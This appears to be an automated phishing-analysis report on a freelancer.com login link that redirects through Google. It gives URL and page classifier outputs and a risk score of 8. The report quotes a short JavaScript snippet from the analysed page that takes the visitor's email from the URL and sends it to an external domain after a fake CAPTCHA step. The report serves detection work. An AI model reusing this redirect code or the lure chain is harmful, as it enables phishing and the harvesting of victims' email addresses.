Windows Analysis Report
https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBem

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://www.freelancer.com

{
  "contains_trigger_text": true,
  "trigger_text": "Complete the CAPTCHA to Proceed",
  "prominent_button_name": "Submit",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": true,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": []
}

{
    "risk_score": 8,
    "reasoning": "High-risk script due to: 1) Redirects to suspicious domain 'oushipolec.com' (+3), 2) URL appears intentionally obfuscated with random-looking path (+3), 3) Captures and transmits email parameter to external domain (+2). Domain appears non-standard and potentially malicious, suggesting possible phishing or data harvesting attempt (+1)."
}

        // Get the email from the URL parameter (you can dynamically grab it from your email sender system)
        const urlParams = new URLSearchParams(window.location.search);
        const email = urlParams.get('email') || ''; // Use the email passed in the URL or fallback

        function handleSubmit() {
            var redirectUrl = " https://VQ.oushipolec.com/qTp7KV/" + encodeURIComponent(email);
            window.location.href = redirectUrl;
            return false; // Prevent default form submission
        }
    

{
  "contains_trigger_text": true,
  "trigger_text": "Complete the CAPTCHA to Proceed",
  "prominent_button_name": "Submit",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": true,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": []
}

{
  "contains_trigger_text": true,
  "trigger_text": "Complete the CAPTCHA to Proceed",
  "prominent_button_name": "Submit",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": true,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": []
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": []
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": []
}